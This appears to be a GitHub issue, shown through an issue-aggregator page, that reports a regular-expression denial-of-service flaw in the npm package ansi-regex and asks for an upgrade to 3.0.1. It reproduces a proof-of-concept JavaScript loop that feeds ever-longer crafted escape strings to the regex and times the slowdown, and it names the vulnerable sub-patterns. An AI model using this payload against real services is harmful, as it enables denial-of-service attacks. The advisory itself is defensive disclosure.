DOodle25 / DOodle25/SyncUP

Inefficient Regular Expression Complexity in chalk/ansi-regex #2

Open
#4 0 comments 0 reactions 1 assignee Assigned to @DOodle25 View on GitHub
bug dependencies good first issue
Dominant language
JavaScript
Stars
7
Forks
0
PR merge metrics
No merged PRs in 30d

Description

maual update required

Affected versions
>= 3.0.0, < 3.0.1

Patched version
3.0.1

ansi-regex
(npm)

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.